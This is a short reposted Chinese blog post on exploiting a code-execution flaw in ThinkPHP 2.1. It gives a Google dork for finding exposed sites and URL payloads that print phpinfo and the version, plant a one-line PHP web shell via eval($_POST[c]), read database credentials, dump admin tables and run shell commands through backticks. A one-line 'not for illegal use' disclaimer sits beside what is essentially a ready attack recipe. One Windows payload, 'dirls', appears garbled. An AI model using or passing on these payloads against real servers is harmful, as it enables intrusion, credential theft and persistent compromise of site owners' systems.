Thinkphp2.1漏洞利用

最新推荐文章于 2023-07-12 13:28:43 发布

转载最新推荐文章于 2023-07-12 13:28:43 发布 · 1k 阅读

2 ·

CC 4.0 BY-SA版权

原文链接：http://www.cnblogs.com/someone9/p/10186179.html

文章标签：

#php #操作系统 #数据库

本文介绍如何在ThinkPHP2.1版本中进行安全测试，包括输出phpinfo信息、获取版本详情、写入一句话木马及执行各种系统命令的方法。同时也展示了如何利用ThinkPHP的特性来查询数据库信息和执行操作系统命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

thinkphp2.1版本

Google语法：

inurl:index.php intext:ThinkPHP 2.1 { Fast & Simple OOP PHP Framework } 禁止用在非法用途

进行测试，输出phpinfo

index.php/Index/index/name/$%7B@phpinfo%28%29%7D

输出版本信息：

index.php/module/action/param1/${@print(THINK_VERSION)}

写入一句话

index.php/module/action/param1/${@print(eval($_POST[c]))}

一些其他执行语句：

1.使用c方法，获取其他数据库配置相关信息：c(db_name)、c(db_host)、c(db_user)、c(db_pwd)等

/index.php/module/action/param1/$%7b@print(c(db_name))%7d

3.使用d方法或者m方法，查询其他数据库，最典型的使用方式var_dump(d(admin)->select())，能够查询出管理员信息，当然，表名需要猜一下，一般是admin，user等

/index.php/module/action/param1/$%7b@print(var_dump(d(admin)->select()))%7d

4.利用php在“·”(tab键上面的键,url编码后为%60)之间的内容可以当做命令执行的方式，不管是windows还是linux下，都可以执行cmd或者是shell命令。

index.php/module/action/param1/$%7b@print(%60dirls%60)%7d  ---------- 在windows下

index.php/module/action/param1/$%7b@print(%60ls%60)%7d -------------在linux下

转载于:https://www.cnblogs.com/someone9/p/10186179.html